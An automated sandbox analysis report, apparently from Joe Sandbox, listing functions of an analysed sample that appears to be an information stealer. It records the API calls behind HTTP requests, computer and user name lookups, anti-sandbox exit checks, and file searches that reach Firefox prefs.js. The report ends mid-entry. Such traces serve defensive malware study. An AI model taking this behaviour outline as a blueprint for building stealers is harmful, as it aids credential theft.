Function 000651F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0006A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0006A7E6

Part of subcall function 00056280: InternetOpenA.WININET(00070DFE,00000001,00000000,00000000,00000000), ref: 000562E1
Part of subcall function 00056280: StrCmpCA.SHLWAPI(?,00BCDB78), ref: 00056303
Part of subcall function 00056280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00056335
Part of subcall function 00056280: HttpOpenRequestA.WININET(00000000,GET,?,00BD1B98,00000000,00000000,00400100,00000000), ref: 00056385
Part of subcall function 00056280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 000563BF
Part of subcall function 00056280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 000563D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00065228

Strings

ERROR, xrefs: 0006521A
ERROR, xrefs: 00065273

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: a0d2e28dfb83ec9e0b128c21e26f75fe06f09e299e55a675b780ef0f0ba9d83a
Instruction ID: 468678bb83d0a9ffd72455efbab1a2ea60c91884a5c43209272f5a0a6818bb98
Opcode Fuzzy Hash: a0d2e28dfb83ec9e0b128c21e26f75fe06f09e299e55a675b780ef0f0ba9d83a
Instruction Fuzzy Hash: E0111630A10548ABCB14FF74DD56AED737AAF51300F404154F91A6B593EF746B09CE92

Function 000678E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00066A2B), ref: 00067910
HeapAlloc.KERNEL32(00000000,?,?,?,00066A2B), ref: 00067917
GetComputerNameA.KERNEL32(?,00000104), ref: 0006792F

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: Heap$AllocComputerNameProcess
String ID:
API String ID: 4203777966-0
Opcode ID: f2d3e9a2c276c9fadb5c2c85d986513a516f641f97cca0814aa4a32ea4cfa69a
Instruction ID: 7622a283567db573d45920e692772c79c1c87c79aa244c287527af23f6b5e973
Opcode Fuzzy Hash: f2d3e9a2c276c9fadb5c2c85d986513a516f641f97cca0814aa4a32ea4cfa69a
Instruction Fuzzy Hash: 630181B1A04308EBD710DF99DD49BAEBBF8FB04B25F10425AFA45E3280C37459008BA2

Function 00051110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,00066A1C), ref: 0005112B
VirtualAllocExNuma.KERNEL32(00000000,?,?,00066A1C), ref: 00051132
ExitProcess.KERNEL32 ref: 00051143

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 651922bd476f53018869803c6984bec61350d3984e97a69b354eb7751c59eacf
Instruction ID: 7539207a213dacfc3056c64b71341543331ab2f2fa9ba8da4098b36f638dddae
Opcode Fuzzy Hash: 651922bd476f53018869803c6984bec61350d3984e97a69b354eb7751c59eacf
Instruction Fuzzy Hash: 01E0E670955308FBE7506BA0AC0EB4D76B8AF04B02F104055F709761D0D6F5264496D9

Function 00051160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,00066A17,00070AEF), ref: 0005116A
ExitProcess.KERNEL32 ref: 0005117E

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: f3851c8886a6934e26d5e422a834c215646358f7dba33244daf8101013ec32b4
Instruction ID: b4a499d8eb538c1ea6b9d4013fe26ba74b33642afd6db85406c8cc8dbcde518c
Opcode Fuzzy Hash: f3851c8886a6934e26d5e422a834c215646358f7dba33244daf8101013ec32b4
Instruction Fuzzy Hash: 38D09E7490430CDBCB04DFE0E94E6DDBB78FB08716F101595DD0562340EA315995CAA6

Function 000510A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004,?,?,?,0005114E,?,?,00066A1C), ref: 000510B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0,?,?,?,0005114E,?,?,00066A1C), ref: 000510F7

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: c01ff69a7b5f2a36773ec566de6f767e20063268fddd0cd127648069263f801f
Instruction ID: a16f290b204f1fd658a5cde29fc9836df177d2aa1a4478b6b97176bca48ca5f3
Opcode Fuzzy Hash: c01ff69a7b5f2a36773ec566de6f767e20063268fddd0cd127648069263f801f
Instruction Fuzzy Hash: 70F0E271641308BBEB149AA8AC4AFFFB7E8E705B15F301548F904E3280D5719E04CAA1

Function 00051190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 000678E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00066A2B), ref: 00067910
Part of subcall function 000678E0: HeapAlloc.KERNEL32(00000000,?,?,?,00066A2B), ref: 00067917
Part of subcall function 000678E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0006792F

Part of subcall function 00067850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,000511B7), ref: 00067880
Part of subcall function 00067850: HeapAlloc.KERNEL32(00000000,?,?,?,000511B7), ref: 00067887
Part of subcall function 00067850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0006789F

ExitProcess.KERNEL32 ref: 000511C6

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocName$ComputerExitUser
String ID:
API String ID: 1004333139-0
Opcode ID: 8c913b90fcb21f556fd879836648211242448122f59be6de139ab53cd9e36f84
Instruction ID: b68643649689b7df238c136ac44a7dd5d7d9d8e25e1e4196b627ccbb32046016
Opcode Fuzzy Hash: 8c913b90fcb21f556fd879836648211242448122f59be6de139ab53cd9e36f84
Instruction Fuzzy Hash: 77E0ECB595430157DA4073F0BC0ABAA329D5B1434EF040925BE09D2103FE25EC0486AA

Non-executed Functions

Function 000638B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 000638CC
FindFirstFileA.KERNEL32(?,?), ref: 000638E3
lstrcatA.KERNEL32(?,?,?,00000104,?,00000104), ref: 00063935
StrCmpCA.SHLWAPI(?,00070F70), ref: 00063947
StrCmpCA.SHLWAPI(?,00070F74), ref: 0006395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00063C67
FindClose.KERNEL32(000000FF), ref: 00063C7C

Strings

%s\%s, xrefs: 0006397A
%s%s, xrefs: 00063AAD
%s\%s, xrefs: 00063A6F
%s\%s\%s, xrefs: 00063A4A
%s\*, xrefs: 000638C0

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: 12793582fa2b18074157df284b9f6c3c5c0ab49f43a8bd6ed798642c67af38c1
Instruction ID: 8a4a9df9c9fc37fafd421430e061b105a463988fd7d5cea9bbcaf9e61f92f3d2
Opcode Fuzzy Hash: 12793582fa2b18074157df284b9f6c3c5c0ab49f43a8bd6ed798642c67af38c1
Instruction Fuzzy Hash: 31A121B1A003189BDB64DFA4DC89FEE73B9BB48300F444599F60D96141EB759B84CFA2

Function 00064910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0006492C
FindFirstFileA.KERNEL32(?,?), ref: 00064943
StrCmpCA.SHLWAPI(?,00070FDC), ref: 00064971
StrCmpCA.SHLWAPI(?,00070FE0), ref: 00064987
FindNextFileA.KERNEL32(000000FF,?), ref: 00064B7D
FindClose.KERNEL32(000000FF), ref: 00064B92

Strings

%s\%s, xrefs: 000649A4
%s\*, xrefs: 00064920
%s\%s, xrefs: 000649FB

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: aff8033262f5158f8884d13ffc1fdd1efcd210ce7054ae1a7ba800549b9f1029
Instruction ID: 209327bac51627ec6292bbdc240b55fa2c34e69a0556610ed880aebe5eeb3236
Opcode Fuzzy Hash: aff8033262f5158f8884d13ffc1fdd1efcd210ce7054ae1a7ba800549b9f1029
Instruction Fuzzy Hash: 2C612771910218ABCB24EFA0EC49FEA73BDBB48701F048599F60996141EB759B45CFE1

Function 00064570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00064580
HeapAlloc.KERNEL32(00000000), ref: 00064587
wsprintfA.USER32 ref: 000645A6
FindFirstFileA.KERNEL32(?,?), ref: 000645BD
StrCmpCA.SHLWAPI(?,00070FC4), ref: 000645EB
StrCmpCA.SHLWAPI(?,00070FC8), ref: 00064601
FindNextFileA.KERNEL32(000000FF,?), ref: 0006468B
FindClose.KERNEL32(000000FF), ref: 000646A0
lstrcatA.KERNEL32(?,00BCDB68,?,00000104), ref: 000646C5
lstrcatA.KERNEL32(?,00BD0F78), ref: 000646D8
lstrlenA.KERNEL32(?), ref: 000646E5
lstrlenA.KERNEL32(?), ref: 000646F6

Strings

%s\%s, xrefs: 0006461B
%s\*, xrefs: 0006459A

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 13328894-2848263008
Opcode ID: fe07bab5cda3f30c84caf84e44d9fdd3844b016e9c7cc30c7fadef404815086f
Instruction ID: 8fa25f13374c66e0e05ab05f1823f820cedc491aed9a316cf7aacafef46c6002
Opcode Fuzzy Hash: fe07bab5cda3f30c84caf84e44d9fdd3844b016e9c7cc30c7fadef404815086f
Instruction Fuzzy Hash: 085145B19402189BCB64EBB0DC8DFEE737DBB58700F404599F60996151EB749B848FA2

Function 00063EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00063EC3
FindFirstFileA.KERNEL32(?,?), ref: 00063EDA
StrCmpCA.SHLWAPI(?,00070FAC), ref: 00063F08
StrCmpCA.SHLWAPI(?,00070FB0), ref: 00063F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 0006406C
FindClose.KERNEL32(000000FF), ref: 00064081

Strings

%s\%s, xrefs: 00063EB7

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: e819772d76e32bde4ec52387f8df4188b325bcebdc29c656634e81790cf8e1d6
Instruction ID: b80e5ee69474916a29d7da400baee2210061245904bb17bbd7fa5160eb9d86c5
Opcode Fuzzy Hash: e819772d76e32bde4ec52387f8df4188b325bcebdc29c656634e81790cf8e1d6
Instruction Fuzzy Hash: 025178B1910318ABCB24FBB0DC89EEA737DBB44300F04859DF65996041EB759B89CFA1

Function 0005ED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0005ED3E
FindFirstFileA.KERNEL32(?,?), ref: 0005ED55
StrCmpCA.SHLWAPI(?,00071538), ref: 0005EDAB
StrCmpCA.SHLWAPI(?,0007153C), ref: 0005EDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 0005F2AE
FindClose.KERNEL32(000000FF), ref: 0005F2C3

Strings

%s\*.*, xrefs: 0005ED32

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: cdcd2fc1becb1ff7f083886fc9569513adb15be482a7d957de06c317238e4589
Instruction ID: f03efdaabe22bc0709bdac686b5117850c6cc4dc80bd39ace005eddac1d5a1d8
Opcode Fuzzy Hash: cdcd2fc1becb1ff7f083886fc9569513adb15be482a7d957de06c317238e4589
Instruction Fuzzy Hash: 23E1D171A111189ADB58FB60DC56EEE7379AF55300F4041A9B50A77093EF306F8ACFA2

Function 0005F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0006A740: lstrcpy.KERNEL32(00070AEF,00000000), ref: 0006A788

Part of subcall function 0006A920: lstrcpy.KERNEL32(00000000,?), ref: 0006A972
Part of subcall function 0006A920: lstrcatA.KERNEL32(00000000), ref: 0006A982

Part of subcall function 0006A9B0: lstrlenA.KERNEL32(?,00071110,?,00000000,00070AEF), ref: 0006A9C5
Part of subcall function 0006A9B0: lstrcpy.KERNEL32(00000000), ref: 0006AA04
Part of subcall function 0006A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0006AA12

Part of subcall function 0006A8A0: lstrcpy.KERNEL32(?,00070AEF), ref: 0006A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,000715B8,00070D96), ref: 0005F71E
StrCmpCA.SHLWAPI(?,000715BC), ref: 0005F76F
StrCmpCA.SHLWAPI(?,000715C0), ref: 0005F785
FindNextFileA.KERNEL32(000000FF,?), ref: 0005FAB1
FindClose.KERNEL32(000000FF), ref: 0005FAC3

Strings

prefs.js, xrefs: 0005F812

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 3340475288f90a602d15358ded38bea65083dae0d0f8b43f6f351478c2aace3f
Instruction ID: aec014d3ebb50751649f3db6996c3a3d9cfc2eb4aba23033b794694787f4bb59
Opcode Fuzzy Hash: 3340475288f90a602d15358ded38bea65083dae0d0f8b43f6f351478c2aace3f
Instruction Fuzzy Hash: ECB15871A001059FDB24FF60DC56FEE737AAF55300F4081A9A90AA7152EF346B49CF92

Function 000516D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0006A740: lstrcpy.KERNEL32(00070AEF,00000000), ref: 0006A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0007510C,?,00051F2C,?,000751B4,?,?,00000000,?,00000000), ref: 00051923
StrCmpCA.SHLWAPI(?,0007525C), ref: 00051973
StrCmpCA.SHLWAPI(?,00075304), ref: 00051989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00051D40
DeleteFileA.KERNEL32(00000000), ref: 00051DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00051E20
FindClose.KERNEL32(000000FF), ref: 00051E32

Part of subcall function 0006A920: lstrcpy.KERNEL32(00000000,?), ref: 0006A972
Part of subcall function 0006A920: lstrcatA.KERNEL32(00000000), ref: 0006A982

Part of subcall function 0006A9B0: lstrlenA.KERNEL32(?,00071110,?,00000000,00070AEF), ref: 0006A9C5
Part of subcall function 0006A9B0: lstrcpy.KERNEL32(00000000), ref: 0006AA04
Part of subcall function 0006A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0006AA12

Part of subcall function 0006A8A0: lstrcpy.KERNEL32(?,00070AEF), ref: 0006A905

Strings

\*.*, xrefs: 000517F1

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: f3246b8d544c00ab21776ffd7ca1bf92971c254c87f256e73e36d73e21ea2f76
Instruction ID: 3c41e2e4647d537196dcd74b627b9e7bc3e52bb75a53932489c397fa6e672ae8
Opcode Fuzzy Hash: f3246b8d544c00ab21776ffd7ca1bf92971c254c87f256e73e36d73e21ea2f76
Instruction Fuzzy Hash: 44120D71A10118ABDB15FB60DC96AEE737AAF55300F404199B50A77092EF706F89CFA2

Function 0005DE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0006A740: lstrcpy.KERNEL32(00070AEF,00000000), ref: 0006A788

